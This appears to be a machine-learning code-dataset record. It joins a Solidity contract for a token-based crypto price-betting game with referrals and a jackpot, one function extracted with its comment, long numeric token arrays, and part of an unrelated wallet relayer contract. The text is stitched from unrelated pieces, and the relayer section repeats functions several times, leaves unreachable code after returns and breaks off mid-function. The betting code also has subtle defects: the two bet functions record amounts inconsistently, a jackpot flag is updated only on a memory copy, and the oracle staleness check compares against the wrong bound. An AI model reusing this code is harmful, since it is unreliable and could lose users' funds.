zaiReferral; // Referral commission rate in basis points. uint16 public referralCommissionRate = 200; //jackpot Acumulation Amount uint256 public jackpotAcmAmt; uint256 public jackpotAcmSafeCheck; mapping(uint256 => mapping(address => BetInfo)) public ledger; mapping(uint256 => Round) public rounds; mapping(uint256 => RoundJackpotInfo) public roundsInfo; mapping(address => uint256[]) public userRounds; enum Position { Bull, Bear } struct Round { uint256 epoch; uint256 startTimestamp; uint256 lockTimestamp; uint256 closeTimestamp; int256 lockPrice; int256 closePrice; uint256 lockOracleId; uint256 closeOracleId; uint256 totalAmount; uint256 bullAmount; uint256 bearAmount; uint256 rewardBaseCalAmount; uint256 rewardAmount; bool oracleCalled; } struct RoundJackpotInfo { uint256 epoch; bool jackpotRound; bool jackpotClaimed; } struct BetInfo { Position position; uint256 amount; bool claimed; // default false } event BetBear(address indexed sender, uint256 indexed epoch, uint256 amount); event BetBull(address indexed sender, uint256 indexed epoch, uint256 amount); event Claim(address indexed sender, uint256 indexed epoch, uint256 amount); event EndRound(uint256 indexed epoch, uint256 indexed roundId, int256 price); event LockRound(uint256 indexed epoch, uint256 indexed roundId, int256 price); event ReferralCommissionPaid(address indexed user, address indexed referrer, uint256 commissionAmount); event NewAdminAddress(address admin); event NewBufferAndIntervalSeconds(uint256 bufferSeconds, uint256 intervalSeconds); event NewMinBetAmount(uint256 indexed epoch, uint256 minBetAmount); event NewTreasuryFee(uint256 indexed epoch, uint256 treasuryFee); event NewOperatorAddress(address operator); event NewOracle(address oracle); event NewOracleUpdateAllowance(uint256 oracleUpdateAllowance); event Pause(uint256 indexed epoch); event RewardsCalculated( uint256 indexed epoch, uint256 rewardBaseCalAmount, uint256 rewardAmount, uint256 treasuryAmount ); event StartRound(uint256 indexed epoch); event TokenRecovery(address indexed token, uint256 amount); event TreasuryClaim(uint256 amount); event Unpause(uint256 indexed epoch); IERC20 public zaif; modifier onlyAdmin() { require(msg.sender == adminAddress, "Not admin"); _; } modifier onlyAdminOrOperator() { require(msg.sender == adminAddress || msg.sender == operatorAddress, "Not operator/admin"); _; } modifier onlyOperator() { require(msg.sender == operatorAddress, "Not operator"); _; } modifier notContract() { require(!_isContract(msg.sender), "Contract not allowed"); require(msg.sender == tx.origin, "Proxy contract not allowed"); _; } /** * @notice Constructor * @param _oracleAddress: oracle address * @param _adminAddress: admin address * @param _operatorAddress: operator address * @param _intervalSeconds: number of time within an interval * @param _bufferSeconds: buffer of time for resolution of price * @param _minBetAmount: minimum bet amounts (in wei) * @param _oracleUpdateAllowance: oracle update allowance * @param _treasuryFee: treasury fee (1000 = 10%) */ constructor( address _oracleAddress, address _adminAddress, address _operatorAddress, uint256 _intervalSeconds, uint256 _bufferSeconds, uint256 _minBetAmount, uint256 _oracleUpdateAllowance, uint256 _treasuryFee ) { require(_treasuryFee <= MAX_TREASURY_FEE, "Treasury fee too high"); oracle = AggregatorV3Interface(_oracleAddress); adminAddress = _adminAddress; operatorAddress = _operatorAddress; intervalSeconds = _intervalSeconds; bufferSeconds = _bufferSeconds; minBetAmount = _minBetAmount; oracleUpdateAllowance = _oracleUpdateAllowance; treasuryFee = _treasuryFee; } // Set the token contract address function setzaiAddress(IERC20 zaifAddress) public onlyOwner { zaif = zaifAddress; } // Set the maintenance address function setMaintenance(address _maintenance) public onlyOwner { Maintenance = _maintenance; } /** * @notice Bet bear position * @param epoch: epoch */ function betBear(uint256 epoch,address _referrer ,uint256 amount) external whenNotPaused nonReentrant notContract { require(epoch == currentEpoch, "Bet is too early/late"); require(_bettable(epoch), "Round not bettable"); require(amount >= minBetAmount, "Bet amount must be greater than minBetAmount"); require(ledger[epoch][msg.sender].amount == 0, "Can only bet once per round"); //Calculate token tax fees uint256 taxAmount = amount.mul(TaxFee).div(10000); uint256 taxedAmount = amount - taxAmount; //Record Referral if (amount > 0 && address(zaiReferral) != address(0) && _referrer != address(0) && _referrer != msg.sender) { zaiReferral.recordReferral(msg.sender, _referrer); } // Update round data Round storage round = rounds[epoch]; RoundJackpotInfo storage roundInfo = roundsInfo[epoch]; // JackPot check if(jackpotLock != 0){ if(block.number >= jackpotLock + passedBlocks){ round.totalAmount = round.totalAmount + taxedAmount + jackpotAcmAmt; jackpotLock = 0; jackpotAcmAmt = 0; roundInfo.jackpotRound = true; }else{ round.totalAmount = round.totalAmount + taxedAmount; } }else{ round.totalAmount = round.totalAmount + taxedAmount; } round.bearAmount = round.bearAmount + taxedAmount; // Update user data BetInfo storage betInfo = ledger[epoch][msg.sender]; betInfo.position = Position.Bear; betInfo.amount += taxedAmount; userRounds[msg.sender].push(epoch); zaif.transferFrom(msg.sender,address(this),amount); emit BetBear(msg.sender, epoch, amount); } /** * @notice Bet bull position * @param epoch: epoch */ function betBull(uint256 epoch,address _referrer, uint256 amount) external whenNotPaused nonReentrant notContract { require(epoch == currentEpoch, "Bet is too early/late"); require(_bettable(epoch), "Round not bettable"); require(amount >= minBetAmount, "Bet amount must be greater than minBetAmount"); require(ledger[epoch][msg.sender].amount == 0, "Can only bet once per round"); //Calculate token tax fees uint256 taxAmount = amount.mul(TaxFee).div(10000); uint256 taxedAmount = amount - taxAmount; //Record Referral if (amount > 0 && address(zaiReferral) != address(0) && _referrer != address(0) && _referrer != msg.sender) { zaiReferral.recordReferral(msg.sender, _referrer); } // Update round data Round storage round = rounds[epoch]; RoundJackpotInfo storage roundInfo = roundsInfo[epoch]; // JackPot check if(jackpotLock != 0){ if(block.number >= jackpotLock + passedBlocks){ round.totalAmount = round.totalAmount + taxedAmount + jackpotAcmAmt; jackpotLock = 0; jackpotAcmAmt = 0; roundInfo.jackpotRound = true; }else{ round.totalAmount = round.totalAmount + taxedAmount; } }else{ round.totalAmount = round.totalAmount + taxedAmount; } round.bullAmount = round.bullAmount + taxedAmount; // Update user data BetInfo storage betInfo = ledger[epoch][msg.sender]; betInfo.position = Position.Bull; betInfo.amount = taxedAmount; userRounds[msg.sender].push(epoch); zaif.transferFrom(msg.sender,address(this),amount); emit BetBull(msg.sender, epoch, amount); } /** * @notice Claim reward for an array of epochs * @param epochs: array of epochs */ function claim(uint256[] calldata epochs) external nonReentrant notContract { uint256 reward; // Initializes reward for (uint256 i = 0; i < epochs.length; i++) { require(rounds[epochs[i]].startTimestamp != 0, "Round has not started"); require(block.timestamp > rounds[epochs[i]].closeTimestamp, "Round has not ended"); uint256 addedReward = 0; // Round valid, claim rewards if (rounds[epochs[i]].oracleCalled) { require(claimable(epochs[i], msg.sender), "Not eligible for claim"); Round memory round = rounds[epochs[i]]; RoundJackpotInfo memory roundInfo = roundsInfo[epochs[i]]; if (roundInfo.jackpotRound == true) { if(roundInfo.jackpotClaimed == false){ jackpotAcmSafeCheck = 0; roundInfo.jackpotClaimed = true; } } addedReward = (ledger[epochs[i]][msg.sender].amount * round.rewardAmount) / round.rewardBaseCalAmount; uint256 ReferralAmt = (addedReward * refFee) / 10000; payReferralCommission(msg.sender,addedReward); addedReward = addedReward - ReferralAmt; } // Round invalid, refund bet amount else { require(refundable(epochs[i], msg.sender), "Not eligible for refund"); if (roundsInfo[epochs[i]].jackpotRound == true) { if(roundsInfo[epochs[i]].jackpotClaimed == false){ jackpotAcmAmt = jackpotAcmSafeCheck; roundsInfo[epochs[i]].jackpotClaimed = true; } } addedReward = ledger[epochs[i]][msg.sender].amount; } ledger[epochs[i]][msg.sender].claimed = true; reward += addedReward; emit Claim(msg.sender, epochs[i], addedReward); } if (reward > 0) { IERC20(zaif).safeTransfer(msg.sender,reward); } } /** * @notice Start the next round n, lock price for round n-1, end round n-2 * @dev Callable by operator */ function executeRound() external whenNotPaused onlyOperator { require( genesisStartOnce && genesisLockOnce, "Can only run after genesisStartRound and genesisLockRound is triggered" ); (uint80 currentRoundId, int256 currentPrice) = _getPriceFromOracle(); oracleLatestRoundId = uint256(currentRoundId); // CurrentEpoch refers to previous round (n-1) _safeLockRound(currentEpoch, currentRoundId, currentPrice); _safeEndRound(currentEpoch - 1, currentRoundId, currentPrice); _calculateRewards(currentEpoch - 1); // Increment currentEpoch to current round (n) currentEpoch = currentEpoch + 1; _safeStartRound(currentEpoch); } /** * @notice Lock genesis round * @dev Callable by operator */ function genesisLockRound() external whenNotPaused onlyOperator { require(genesisStartOnce, "Can only run after genesisStartRound is triggered"); require(!genesisLockOnce, "Can only run genesisLockRound once"); (uint80 currentRoundId, int256 currentPrice) = _getPriceFromOracle(); oracleLatestRoundId = uint256(currentRoundId); _safeLockRound(currentEpoch, currentRoundId, currentPrice); currentEpoch = currentEpoch + 1; _startRound(currentEpoch); genesisLockOnce = true; } /** * @notice Start genesis round * @dev Callable by admin or operator */ function genesisStartRound() external whenNotPaused onlyOperator { require(!genesisStartOnce, "Can only run genesisStartRound once"); currentEpoch = currentEpoch + 1; _startRound(currentEpoch); genesisStartOnce = true; } /** * @notice called by the admin to pause, triggers stopped state * @dev Callable by admin or operator */ function pause() external whenNotPaused onlyAdminOrOperator { _pause(); emit Pause(currentEpoch); } /** * @notice Claim all rewards in treasury * @dev Callable by admin */ function claimTreasury() external nonReentrant onlyAdmin { uint256 currentTreasuryAmount = treasuryAmount; treasuryAmount = 0; uint256 maintenanceAmt = (currentTreasuryAmount * 3333) / 10000; // 1% total > 33.3% of 3% uint256 devAmt = (currentTreasuryAmount * 3333) / 10000; // 1% total > 33.3% of 3% uint256 staffAmt = (currentTreasuryAmount * 3333) / 10000; // 1% total > 33.3% of 3% // IERC20(zaif).safeTransfer(treasuryAddress,treasuryAmt); IERC20(zaif).safeTransfer(devAddress, devAmt); IERC20(zaif).safeTransfer(staffAddress, staffAmt); IERC20(zaif).safeTransfer(Maintenance, maintenanceAmt); emit TreasuryClaim(currentTreasuryAmount); } /** * @notice called by the admin to unpause, returns to normal state * Reset genesis state. Once paused, the rounds would need to be kickstarted by genesis */ function unpause() external whenPaused onlyAdmin { genesisStartOnce = false; genesisLockOnce = false; _unpause(); emit Unpause(currentEpoch); } /** * @notice Set buffer and interval (in seconds) * @dev Callable by admin */ function setBufferAndIntervalSeconds(uint256 _bufferSeconds, uint256 _intervalSeconds) external whenPaused onlyAdmin { require(_bufferSeconds < _intervalSeconds, "bufferSeconds must be inferior to intervalSeconds"); bufferSeconds = _bufferSeconds; intervalSeconds = _intervalSeconds; emit NewBufferAndIntervalSeconds(_bufferSeconds, _intervalSeconds); } /** * @notice Set minBetAmount * @dev Callable by admin */ function setMinBetAmount(uint256 _minBetAmount) external whenPaused onlyAdmin { require(_minBetAmount != 0, "Must be superior to 0"); minBetAmount = _minBetAmount; emit NewMinBetAmount(currentEpoch, minBetAmount); } /** * @notice Set operator address * @dev Callable by admin */ function setOperator(address _operatorAddress) external onlyAdmin { require(_operatorAddress != address(0), "Cannot be zero address"); operatorAddress = _operatorAddress; emit NewOperatorAddress(_operatorAddress); } /** * @notice Set Oracle address * @dev Callable by admin */ function setOracle(address _oracle) external whenPaused onlyAdmin { require(_oracle != address(0), "Cannot be zero address"); oracleLatestRoundId = 0; oracle = AggregatorV3Interface(_oracle); // Dummy check to make sure the interface implements this function properly oracle.latestRoundData(); emit NewOracle(_oracle); } /** * @notice Set oracle update allowance * @dev Callable by admin */ function setOracleUpdateAllowance(uint256 _oracleUpdateAllowance) external whenPaused onlyAdmin { oracleUpdateAllowance = _oracleUpdateAllowance; emit NewOracleUpdateAllowance(_oracleUpdateAllowance); } /** * @notice Set treasury fee * @dev Callable by admin * fees are distributed 1% for Feature Maintenance 1% for development on distribution 1% for staff on distribution */ function setTreasuryFee(uint256 _treasuryFee) external whenPaused onlyAdmin { require(_treasuryFee <= MAX_TREASURY_FEE, "Treasury fee too high"); treasuryFee = _treasuryFee; emit NewTreasuryFee(currentEpoch, treasuryFee); } /** * @notice It allows the owner to recover tokens sent to the contract by mistake * @param _token: token address * @param _amount: token amount * @dev Callable by owner */ function recoverToken(address _token, uint256 _amount) external onlyOwner { IERC20(_token).safeTransfer(address(msg.sender), _amount); emit TokenRecovery(_token, _amount); } /** * @notice Set admin address * @dev Callable by owner */ function setAdmin(address _adminAddress) external onlyOwner { require(_adminAddress != address(0), "Cannot be zero address"); adminAddress = _adminAddress; emit NewAdminAddress(_adminAddress); } /** * @notice Returns round epochs and bet information for a user that has participated * @param user: user address * @param cursor: cursor * @param size: size */ function getUserRounds( address user, uint256 cursor, uint256 size ) external view returns ( uint256[] memory, BetInfo[] memory, uint256 ) { uint256 length = size; if (length > userRounds[user].length - cursor) { length = userRounds[user].length - cursor; } uint256[] memory values = new uint256[](length); BetInfo[] memory betInfo = new BetInfo[](length); for (uint256 i = 0; i < length; i++) { values[i] = userRounds[user][cursor + i]; betInfo[i] = ledger[values[i]][user]; } return (values, betInfo, cursor + length); } /** * @notice Returns round epochs length * @param user: user address */ function getUserRoundsLength(address user) external view returns (uint256) { return userRounds[user].length; } function getJackpotAmount() external view returns (uint256) { return jackpotAcmAmt; } function getJackpotLockBlock() external view returns (uint256) { return jackpotLock; } /** * @notice Get the claimable stats of specific epoch and user account * @param epoch: epoch * @param user: user address */ function claimable(uint256 epoch, address user) public view returns (bool) { BetInfo memory betInfo = ledger[epoch][user]; Round memory round = rounds[epoch]; if (round.lockPrice == round.closePrice) { return false; } return round.oracleCalled && betInfo.amount != 0 && !betInfo.claimed && ((round.closePrice > round.lockPrice && betInfo.position == Position.Bull) || (round.closePrice < round.lockPrice && betInfo.position == Position.Bear)); } /** * @notice Get the refundable stats of specific epoch and user account * @param epoch: epoch * @param user: user address */ function refundable(uint256 epoch, address user) public view returns (bool) { BetInfo memory betInfo = ledger[epoch][user]; Round memory round = rounds[epoch]; return !round.oracleCalled && !betInfo.claimed && block.timestamp > round.closeTimestamp + bufferSeconds && betInfo.amount != 0; } /** * @notice Calculate rewards for round * @param epoch: epoch */ function _calculateRewards(uint256 epoch) internal { require(rounds[epoch].rewardBaseCalAmount == 0 && rounds[epoch].rewardAmount == 0, "Rewards calculated"); Round storage round = rounds[epoch]; uint256 rewardBaseCalAmount; uint256 treasuryAmt; uint256 rewardAmount; // Bull wins if (round.closePrice > round.lockPrice) { rewardBaseCalAmount = round.bullAmount; treasuryAmt = (round.totalAmount * treasuryFee) / 10000; rewardAmount = round.totalAmount - treasuryAmt; } // Bear wins else if (round.closePrice < round.lockPrice) { rewardBaseCalAmount = round.bearAmount; treasuryAmt = (round.totalAmount * treasuryFee) / 10000; rewardAmount = round.totalAmount - treasuryAmt; } // House wins else { rewardBaseCalAmount = 0; rewardAmount = 0; treasuryAmt = round.totalAmount; } round.rewardBaseCalAmount = rewardBaseCalAmount; round.rewardAmount = rewardAmount; // Add to treasury treasuryAmount += treasuryAmt; emit RewardsCalculated(epoch, rewardBaseCalAmount, rewardAmount, treasuryAmt); } /** * @notice End round * @param epoch: epoch * @param roundId: roundId * @param price: price of the round */ function _safeEndRound( uint256 epoch, uint256 roundId, int256 price ) internal { require(rounds[epoch].lockTimestamp != 0, "Can only end round after round has locked"); require(block.timestamp >= rounds[epoch].closeTimestamp, "Can only end round after closeTimestamp"); require( block.timestamp <= rounds[epoch].closeTimestamp + bufferSeconds, "Can only end round within bufferSeconds" ); Round storage round = rounds[epoch]; round.closePrice = price; round.closeOracleId = roundId; round.oracleCalled = true; emit EndRound(epoch, roundId, round.closePrice); } /** * @notice Lock round * @param epoch: epoch * @param roundId: roundId * @param price: price of the round */ function _safeLockRound( uint256 epoch, uint256 roundId, int256 price ) internal { require(rounds[epoch].startTimestamp != 0, "Can only lock round after round has started"); require(block.timestamp >= rounds[epoch].lockTimestamp, "Can only lock round after lockTimestamp"); require( block.timestamp <= rounds[epoch].lockTimestamp + bufferSeconds, "Can only lock round within bufferSeconds" ); Round storage round = rounds[epoch]; round.closeTimestamp = block.timestamp + intervalSeconds; round.lockPrice = price; round.lockOracleId = roundId; emit LockRound(epoch, roundId, round.lockPrice); } /** * @notice Start round * Previous round n-2 must end * @param epoch: epoch */ function _safeStartRound(uint256 epoch) internal { require(genesisStartOnce, "Can only run after genesisStartRound is triggered"); require(rounds[epoch - 2].closeTimestamp != 0, "Can only start round after round n-2 has ended"); require( block.timestamp >= rounds[epoch - 2].closeTimestamp, "Can only start new round after round n-2 closeTimestamp" ); _startRound(epoch); } /** * @notice Transfer BNB in a safe way * @param to: address to transfer BNB to * @param value: BNB amount to transfer (in wei) */ function _safeTransferBNB(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(""); require(success, "TransferHelper: BNB_TRANSFER_FAILED"); } /** * @notice Start round * Previous round n-2 must end * @param epoch: epoch */ function _startRound(uint256 epoch) internal { Round storage round = rounds[epoch]; round.startTimestamp = block.timestamp; round.lockTimestamp = block.timestamp + intervalSeconds; round.closeTimestamp = block.timestamp + (2 * intervalSeconds); round.epoch = epoch; round.totalAmount = 0; emit StartRound(epoch); } /** * @notice Determine if a round is valid for receiving bets * Round must have started and locked * Current timestamp must be within startTimestamp and closeTimestamp */ function _bettable(uint256 epoch) internal view returns (bool) { return rounds[epoch].startTimestamp != 0 && rounds[epoch].lockTimestamp != 0 && block.timestamp > rounds[epoch].startTimestamp && block.timestamp < rounds[epoch].lockTimestamp; } /** * @notice Get latest recorded price from oracle * If it falls below allowed buffer or has not updated, it would be invalid. */ function _getPriceFromOracle() internal view returns (uint80, int256) { uint256 leastAllowedTimestamp = block.timestamp + oracleUpdateAllowance; (uint80 roundId, int256 price, , uint256 timestamp, ) = oracle.latestRoundData(); require(timestamp <= leastAllowedTimestamp, "Oracle update exceeded max timestamp allowance"); require( uint256(roundId) > oracleLatestRoundId, "Oracle update roundId must be larger than oracleLatestRoundId" ); return (roundId, price); } /** * @notice Returns true if `account` is a contract. * @param account: account address */ function _isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } // Update the zai referral contract address by the owner function setzaiReferral(IZaiReferral _zaiReferral) public onlyOwner { zaiReferral = _zaiReferral; } // Update how many blocks to pay the jackpot function setPassedBlocks(uint256 _passedBlocks) public onlyOwner { passedBlocks = _passedBlocks; } // Update referral commission rate by the owner function setReferralCommissionRate(uint16 _referralCommissionRate) public onlyOperator { referralCommissionRate = _referralCommissionRate; } // Pay referral commission to the referrer who referred this user. function payReferralCommission(address _user, uint256 _pending) internal { if (address(zaiReferral) != address(0) && referralCommissionRate > 0) { address referrer = zaiReferral.getReferrer(_user); uint256 commissionAmount = _pending.mul(referralCommissionRate).div(10000); if (referrer != address(0) && commissionAmount > 0) { IERC20(zaif).safeTransfer(referrer, commissionAmount); uint256 TaxAmount = commissionAmount.mul(TaxFee).div(10000); commissionAmount = commissionAmount - TaxAmount; zaiReferral.recordReferralCommission(referrer, commissionAmount); emit ReferralCommissionPaid(_user, referrer, commissionAmount); } else{ // add to JackPot Amount > acumulation to pay in 200480 blocks roughly 1 week if(jackpotLock == 0){ jackpotLock = block.number; } jackpotAcmAmt += commissionAmount; // Amount in case jackpot round fails ,it backs to the jackpot jackpotAcmSafeCheck += commissionAmount; } } } }
* @notice Lock round @param epoch: epoch @param roundId: roundId @param price: price of the round/
function _safeLockRound( uint256 epoch, uint256 roundId, int256 price ) internal { require(rounds[epoch].startTimestamp != 0, "Can only lock round after round has started"); require(block.timestamp >= rounds[epoch].lockTimestamp, "Can only lock round after lockTimestamp"); require( block.timestamp <= rounds[epoch].lockTimestamp + bufferSeconds, "Can only lock round within bufferSeconds" ); Round storage round = rounds[epoch]; round.closeTimestamp = block.timestamp + intervalSeconds; round.lockPrice = price; round.lockOracleId = roundId; emit LockRound(epoch, roundId, round.lockPrice); }
6,385,367
[ 1, 2531, 3643, 225, 7632, 30, 7632, 225, 3643, 548, 30, 3643, 548, 225, 6205, 30, 6205, 434, 326, 3643, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 4626, 2531, 11066, 12, 203, 3639, 2254, 5034, 7632, 16, 203, 3639, 2254, 5034, 3643, 548, 16, 203, 3639, 509, 5034, 6205, 203, 565, 262, 2713, 288, 203, 3639, 2583, 12, 27950, 63, 12015, 8009, 1937, 4921, 480, 374, 16, 315, 2568, 1338, 2176, 3643, 1839, 3643, 711, 5746, 8863, 203, 3639, 2583, 12, 2629, 18, 5508, 1545, 21196, 63, 12015, 8009, 739, 4921, 16, 315, 2568, 1338, 2176, 3643, 1839, 2176, 4921, 8863, 203, 3639, 2583, 12, 203, 5411, 1203, 18, 5508, 1648, 21196, 63, 12015, 8009, 739, 4921, 397, 1613, 6762, 16, 203, 5411, 315, 2568, 1338, 2176, 3643, 3470, 1613, 6762, 6, 203, 3639, 11272, 203, 3639, 11370, 2502, 3643, 273, 21196, 63, 12015, 15533, 203, 3639, 3643, 18, 4412, 4921, 273, 1203, 18, 5508, 397, 3673, 6762, 31, 203, 3639, 3643, 18, 739, 5147, 273, 6205, 31, 203, 3639, 3643, 18, 739, 23601, 548, 273, 3643, 548, 31, 203, 203, 3639, 3626, 3488, 11066, 12, 12015, 16, 3643, 548, 16, 3643, 18, 739, 5147, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x10A0847c2D170008dDCa7C3a688124f493630032/sources/RelayerManager.sol
* @title RelayerManager @notice Feature to execute transactions signed by ETH-less accounts and sent by a relayer. @author Julien Niset <[email protected]>, Olivier VDB <[email protected]>/ The storage of the limit The Token price storage The Guardian storage
contract RelayerManager is BaseFeature { bytes32 constant NAME = "RelayerManager"; uint256 constant internal BLOCKBOUND = 10000; using SafeMath for uint256; mapping (address => RelayerConfig) public relayer; ILimitStorage public limitStorage; ITokenPriceRegistry public tokenPriceRegistry; IGuardianStorage public guardianStorage; } struct RelayerConfig { uint256 nonce; mapping (bytes32 => bool) executedTx; } struct StackExtension { uint256 requiredSignatures; OwnerSignature ownerSignatureRequirement; bytes32 signHash; bool success; bytes returnData; } event TransactionExecuted(address indexed wallet, bool indexed success, bytes returnData, bytes32 signedHash); event Refund(address indexed wallet, address indexed refundAddress, address refundToken, uint256 refundAmount); ILockStorage _lockStorage, IGuardianStorage _guardianStorage, ILimitStorage _limitStorage, ITokenPriceRegistry _tokenPriceRegistry, IVersionManager _versionManager ) BaseFeature(_lockStorage, _versionManager, NAME) public constructor( { limitStorage = _limitStorage; tokenPriceRegistry = _tokenPriceRegistry; guardianStorage = _guardianStorage; } function execute( address _wallet, address _feature, bytes calldata _data, uint256 _nonce, bytes calldata _signatures, uint256 _gasPrice, uint256 _gasLimit, address _refundToken, address _refundAddress ) external returns (bool) { uint startGas = gasleft(); require(startGas >= _gasLimit, "RM: not enough gas provided"); require(verifyData(_wallet, _data), "RM: Target of _data != _wallet"); require(isFeatureAuthorisedInVersionManager(_wallet, _feature), "RM: feature not authorised"); StackExtension memory stack; (stack.requiredSignatures, stack.ownerSignatureRequirement) = IFeature(_feature).getRequiredSignatures(_wallet, _data); require(stack.requiredSignatures > 0 || stack.ownerSignatureRequirement == OwnerSignature.Anyone, "RM: Wrong signature requirement"); require(stack.requiredSignatures * 65 == _signatures.length, "RM: Wrong number of signatures"); stack.signHash = getSignHash( address(this), _feature, 0, _data, _nonce, _gasPrice, _gasLimit, _refundToken, _refundAddress); require(checkAndUpdateUniqueness( _wallet, _nonce, stack.signHash, stack.requiredSignatures, stack.ownerSignatureRequirement), "RM: Duplicate request"); require(validateSignatures(_wallet, stack.signHash, _signatures, stack.ownerSignatureRequirement), "RM: Invalid signatures"); (stack.success, stack.returnData) = _feature.call(_data); if (_gasPrice > 0 && stack.ownerSignatureRequirement == OwnerSignature.Required) { refund( _wallet, startGas, _gasPrice, _gasLimit, _refundToken, _refundAddress, stack.requiredSignatures); } emit TransactionExecuted(_wallet, stack.success, stack.returnData, stack.signHash); return stack.success; } function execute( address _wallet, address _feature, bytes calldata _data, uint256 _nonce, bytes calldata _signatures, uint256 _gasPrice, uint256 _gasLimit, address _refundToken, address _refundAddress ) external returns (bool) { uint startGas = gasleft(); require(startGas >= _gasLimit, "RM: not enough gas provided"); require(verifyData(_wallet, _data), "RM: Target of _data != _wallet"); require(isFeatureAuthorisedInVersionManager(_wallet, _feature), "RM: feature not authorised"); StackExtension memory stack; (stack.requiredSignatures, stack.ownerSignatureRequirement) = IFeature(_feature).getRequiredSignatures(_wallet, _data); require(stack.requiredSignatures > 0 || stack.ownerSignatureRequirement == OwnerSignature.Anyone, "RM: Wrong signature requirement"); require(stack.requiredSignatures * 65 == _signatures.length, "RM: Wrong number of signatures"); stack.signHash = getSignHash( address(this), _feature, 0, _data, _nonce, _gasPrice, _gasLimit, _refundToken, _refundAddress); require(checkAndUpdateUniqueness( _wallet, _nonce, stack.signHash, stack.requiredSignatures, stack.ownerSignatureRequirement), "RM: Duplicate request"); require(validateSignatures(_wallet, stack.signHash, _signatures, stack.ownerSignatureRequirement), "RM: Invalid signatures"); (stack.success, stack.returnData) = _feature.call(_data); if (_gasPrice > 0 && stack.ownerSignatureRequirement == OwnerSignature.Required) { refund( _wallet, startGas, _gasPrice, _gasLimit, _refundToken, _refundAddress, stack.requiredSignatures); } emit TransactionExecuted(_wallet, stack.success, stack.returnData, stack.signHash); return stack.success; } function getNonce(address _wallet) external view returns (uint256 nonce) { return relayer[_wallet].nonce; } function isExecutedTx(address _wallet, bytes32 _signHash) external view returns (bool executed) { return relayer[_wallet].executedTx[_signHash]; } function getSignHash( address _from, address _to, uint256 _value, bytes memory _data, uint256 _nonce, uint256 _gasPrice, uint256 _gasLimit, address _refundToken, address _refundAddress ) internal pure returns (bytes32) { return keccak256( abi.encodePacked( "\x19Ethereum Signed Message:\n32", keccak256(abi.encodePacked( byte(0x19), byte(0), _from, _to, _value, _data, getChainId(), _nonce, _gasPrice, _gasLimit, _refundToken, _refundAddress)) )); } function checkAndUpdateUniqueness( address _wallet, uint256 _nonce, bytes32 _signHash, uint256 requiredSignatures, OwnerSignature ownerSignatureRequirement ) internal returns (bool) { if (requiredSignatures == 1 && ownerSignatureRequirement == OwnerSignature.Required) { if (_nonce <= relayer[_wallet].nonce) { return false; } uint256 nonceBlock = (_nonce & 0xffffffffffffffffffffffffffffffff00000000000000000000000000000000) >> 128; if (nonceBlock > block.number + BLOCKBOUND) { return false; } relayer[_wallet].nonce = _nonce; return true; if (relayer[_wallet].executedTx[_signHash] == true) { return false; } relayer[_wallet].executedTx[_signHash] = true; return true; } } function checkAndUpdateUniqueness( address _wallet, uint256 _nonce, bytes32 _signHash, uint256 requiredSignatures, OwnerSignature ownerSignatureRequirement ) internal returns (bool) { if (requiredSignatures == 1 && ownerSignatureRequirement == OwnerSignature.Required) { if (_nonce <= relayer[_wallet].nonce) { return false; } uint256 nonceBlock = (_nonce & 0xffffffffffffffffffffffffffffffff00000000000000000000000000000000) >> 128; if (nonceBlock > block.number + BLOCKBOUND) { return false; } relayer[_wallet].nonce = _nonce; return true; if (relayer[_wallet].executedTx[_signHash] == true) { return false; } relayer[_wallet].executedTx[_signHash] = true; return true; } } function checkAndUpdateUniqueness( address _wallet, uint256 _nonce, bytes32 _signHash, uint256 requiredSignatures, OwnerSignature ownerSignatureRequirement ) internal returns (bool) { if (requiredSignatures == 1 && ownerSignatureRequirement == OwnerSignature.Required) { if (_nonce <= relayer[_wallet].nonce) { return false; } uint256 nonceBlock = (_nonce & 0xffffffffffffffffffffffffffffffff00000000000000000000000000000000) >> 128; if (nonceBlock > block.number + BLOCKBOUND) { return false; } relayer[_wallet].nonce = _nonce; return true; if (relayer[_wallet].executedTx[_signHash] == true) { return false; } relayer[_wallet].executedTx[_signHash] = true; return true; } } function checkAndUpdateUniqueness( address _wallet, uint256 _nonce, bytes32 _signHash, uint256 requiredSignatures, OwnerSignature ownerSignatureRequirement ) internal returns (bool) { if (requiredSignatures == 1 && ownerSignatureRequirement == OwnerSignature.Required) { if (_nonce <= relayer[_wallet].nonce) { 